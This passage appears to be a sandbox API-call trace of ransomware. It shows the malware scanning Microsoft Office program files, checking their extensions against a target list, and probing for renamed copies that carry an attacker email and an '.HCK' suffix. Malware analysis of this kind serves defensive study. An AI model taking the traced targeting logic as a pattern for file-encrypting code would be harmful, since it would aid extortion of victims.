[0232.980] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0232.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0232.981] lstrlenW (lpString=".jpg") returned 4 [0232.981] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0232.981] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.981] lstrlenW (lpString="AppVStreamMap.dll") returned 17 [0232.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.982] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=194776) returned 1 [0232.982] CloseHandle (hObject=0x54c) returned 1 [0232.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 0x220 [0232.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0232.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0232.983] lstrlenW (lpString=".doc") returned 4 [0232.983] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.983] lstrlenW (lpString=".docx") returned 5 [0232.983] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0232.983] lstrlenW (lpString=".pdf") returned 4 [0232.983] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.983] lstrlenW (lpString=".xls") returned 4 [0232.983] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.983] lstrlenW (lpString=".xlsx") returned 5 [0232.983] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0232.983] lstrlenW (lpString=".ppt") returned 4 [0232.983] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0232.983] lstrlenW (lpString=".zip") returned 4 [0232.983] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.983] lstrlenW (lpString=".rar") returned 4 [0232.983] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.983] lstrlenW (lpString=".bz2") returned 4 [0232.983] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.983] lstrlenW (lpString=".7z") returned 3 [0232.983] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0232.983] lstrlenW (lpString=".dbf") returned 4 [0232.983] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0232.983] lstrlenW (lpString=".1cd") returned 4 [0232.983] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0232.983] lstrlenW (lpString=".jpg") returned 4 [0232.983] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0232.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0232.983] lstrlenW (lpString=".doc") returned 4 [0232.983] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.983] lstrlenW (lpString=".docx") returned 5 [0232.983] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0232.983] lstrlenW (lpString=".pdf") returned 4 [0232.983] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.983] lstrlenW (lpString=".xls") returned 4 [0232.983] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.983] lstrlenW (lpString=".xlsx") returned 5 [0232.983] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0232.983] lstrlenW (lpString=".ppt") returned 4 [0232.983] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0232.983] lstrlenW (lpString=".zip") returned 4 [0232.983] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.984] lstrlenW (lpString=".rar") returned 4 [0232.984] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.984] lstrlenW (lpString=".bz2") returned 4 [0232.984] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.984] lstrlenW (lpString=".7z") returned 3 [0232.984] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0232.984] lstrlenW (lpString=".dbf") returned 4 [0232.984] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0232.984] lstrlenW (lpString=".1cd") returned 4 [0232.984] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0232.984] lstrlenW (lpString=".jpg") returned 4 [0232.984] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.984] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.984] lstrlenW (lpString="concrt140.dll") returned 13 [0232.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.985] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=243520) returned 1 [0232.986] CloseHandle (hObject=0x54c) returned 1 [0232.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll")) returned 0x220 [0232.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0232.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0232.986] lstrlenW (lpString=".doc") returned 4 [0232.986] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.986] lstrlenW (lpString=".docx") returned 5 [0232.986] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.986] lstrlenW (lpString=".pdf") returned 4 [0232.986] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.986] lstrlenW (lpString=".xls") returned 4 [0232.986] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.986] lstrlenW (lpString=".xlsx") returned 5 [0232.986] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.986] lstrlenW (lpString=".ppt") returned 4 [0232.986] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0232.986] lstrlenW (lpString=".zip") returned 4 [0232.986] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.986] lstrlenW (lpString=".rar") returned 4 [0232.986] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.986] lstrlenW (lpString=".bz2") returned 4 [0232.986] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.986] lstrlenW (lpString=".7z") returned 3 [0232.986] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0232.986] lstrlenW (lpString=".dbf") returned 4 [0232.986] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0232.987] lstrlenW (lpString=".1cd") returned 4 [0232.987] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0232.987] lstrlenW (lpString=".jpg") returned 4 [0232.987] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0232.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0232.987] lstrlenW (lpString=".doc") returned 4 [0232.987] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.987] lstrlenW (lpString=".docx") returned 5 [0232.987] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.987] lstrlenW (lpString=".pdf") returned 4 [0232.987] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.987] lstrlenW (lpString=".xls") returned 4 [0232.987] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.987] lstrlenW (lpString=".xlsx") returned 5 [0232.987] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.987] lstrlenW (lpString=".ppt") returned 4 [0232.987] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0232.987] lstrlenW (lpString=".zip") returned 4 [0232.987] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.987] lstrlenW (lpString=".rar") returned 4 [0232.987] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.987] lstrlenW (lpString=".bz2") returned 4 [0232.987] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.987] lstrlenW (lpString=".7z") returned 3 [0232.987] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0232.987] lstrlenW (lpString=".dbf") returned 4 [0232.987] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0232.987] lstrlenW (lpString=".1cd") returned 4 [0232.987] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0232.987] lstrlenW (lpString=".jpg") returned 4 [0232.987] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.987] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0232.987] lstrlenW (lpString="Flattener.exe") returned 13 [0232.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.988] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=45664) returned 1 [0232.988] CloseHandle (hObject=0x54c) returned 1 [0232.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe")) returned 0x220 [0232.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0232.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0232.989] lstrlenW (lpString=".doc") returned 4 [0232.989] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0232.989] lstrlenW (lpString=".docx") returned 5 [0232.989] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0232.989] lstrlenW (lpString=".pdf") returned 4 [0232.989] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0232.989] lstrlenW (lpString=".xls") returned 4 [0232.989] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0232.989] lstrlenW (lpString=".xlsx") returned 5 [0232.989] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0232.989] lstrlenW (lpString=".ppt") returned 4 [0232.989] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0232.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0232.989] lstrlenW (lpString=".zip") returned 4 [0232.989] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0232.989] lstrlenW (lpString=".rar") returned 4 [0232.989] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0232.989] lstrlenW (lpString=".bz2") returned 4 [0232.989] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0232.989] lstrlenW (lpString=".7z") returned 3 [0232.989] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0232.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0232.989] lstrlenW (lpString=".dbf") returned 4 [0232.989] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0232.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0232.989] lstrlenW (lpString=".1cd") returned 4 [0232.989] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0232.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0232.989] lstrlenW (lpString=".jpg") returned 4 [0232.989] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0232.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0232.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0232.990] lstrlenW (lpString=".doc") returned 4 [0232.990] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0232.990] lstrlenW (lpString=".docx") returned 5 [0232.990] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0232.990] lstrlenW (lpString=".pdf") returned 4 [0232.990] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0232.990] lstrlenW (lpString=".xls") returned 4 [0232.990] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0232.990] lstrlenW (lpString=".xlsx") returned 5 [0232.990] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0232.990] lstrlenW (lpString=".ppt") returned 4 [0232.990] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0232.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0232.990] lstrlenW (lpString=".zip") returned 4 [0232.990] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0232.990] lstrlenW (lpString=".rar") returned 4 [0232.990] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0232.990] lstrlenW (lpString=".bz2") returned 4 [0232.990] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0232.990] lstrlenW (lpString=".7z") returned 3 [0232.990] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0232.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0232.990] lstrlenW (lpString=".dbf") returned 4 [0232.990] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0232.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0232.990] lstrlenW (lpString=".1cd") returned 4 [0232.990] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0232.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0232.990] lstrlenW (lpString=".jpg") returned 4 [0232.990] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0232.990] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.990] lstrlenW (lpString="Microsoft.AppV.Eventing.dll") returned 27 [0232.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.991] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=96472) returned 1 [0232.991] CloseHandle (hObject=0x54c) returned 1 [0232.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll")) returned 0x220 [0232.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0232.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0232.992] lstrlenW (lpString=".doc") returned 4 [0232.992] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.992] lstrlenW (lpString=".docx") returned 5 [0232.992] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0232.992] lstrlenW (lpString=".pdf") returned 4 [0232.992] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.992] lstrlenW (lpString=".xls") returned 4 [0232.992] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.992] lstrlenW (lpString=".xlsx") returned 5 [0232.992] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0232.992] lstrlenW (lpString=".ppt") returned 4 [0232.992] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0232.992] lstrlenW (lpString=".zip") returned 4 [0232.992] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.992] lstrlenW (lpString=".rar") returned 4 [0232.992] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.992] lstrlenW (lpString=".bz2") returned 4 [0232.992] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.992] lstrlenW (lpString=".7z") returned 3 [0232.992] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0232.992] lstrlenW (lpString=".dbf") returned 4 [0232.992] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0232.992] lstrlenW (lpString=".1cd") returned 4 [0232.992] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0232.993] lstrlenW (lpString=".jpg") returned 4 [0232.993] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0232.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0232.993] lstrlenW (lpString=".doc") returned 4 [0232.993] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.993] lstrlenW (lpString=".docx") returned 5 [0232.993] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0232.993] lstrlenW (lpString=".pdf") returned 4 [0232.993] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.993] lstrlenW (lpString=".xls") returned 4 [0232.993] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.993] lstrlenW (lpString=".xlsx") returned 5 [0232.993] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0232.993] lstrlenW (lpString=".ppt") returned 4 [0232.993] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0232.993] lstrlenW (lpString=".zip") returned 4 [0232.993] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.993] lstrlenW (lpString=".rar") returned 4 [0232.993] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.993] lstrlenW (lpString=".bz2") returned 4 [0232.993] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.993] lstrlenW (lpString=".7z") returned 3 [0232.993] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0232.993] lstrlenW (lpString=".dbf") returned 4 [0232.993] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0232.993] lstrlenW (lpString=".1cd") returned 4 [0232.993] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0232.993] lstrlenW (lpString=".jpg") returned 4 [0232.993] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.993] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.993] lstrlenW (lpString="Microsoft.AppV.Modernizer.Common.dll") returned 36 [0232.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.994] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=49368) returned 1 [0232.994] CloseHandle (hObject=0x54c) returned 1 [0232.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll")) returned 0x220 [0232.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0232.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0232.994] lstrlenW (lpString=".doc") returned 4 [0232.994] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.994] lstrlenW (lpString=".docx") returned 5 [0232.994] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0232.994] lstrlenW (lpString=".pdf") returned 4 [0232.994] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.994] lstrlenW (lpString=".xls") returned 4 [0232.994] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.995] lstrlenW (lpString=".xlsx") returned 5 [0232.995] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0232.995] lstrlenW (lpString=".ppt") returned 4 [0232.995] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0232.995] lstrlenW (lpString=".zip") returned 4 [0232.995] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.995] lstrlenW (lpString=".rar") returned 4 [0232.995] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.995] lstrlenW (lpString=".bz2") returned 4 [0232.995] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.995] lstrlenW (lpString=".7z") returned 3 [0232.995] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.995] lstrlenW (lpString="C:\\Program Files\\Microsoft 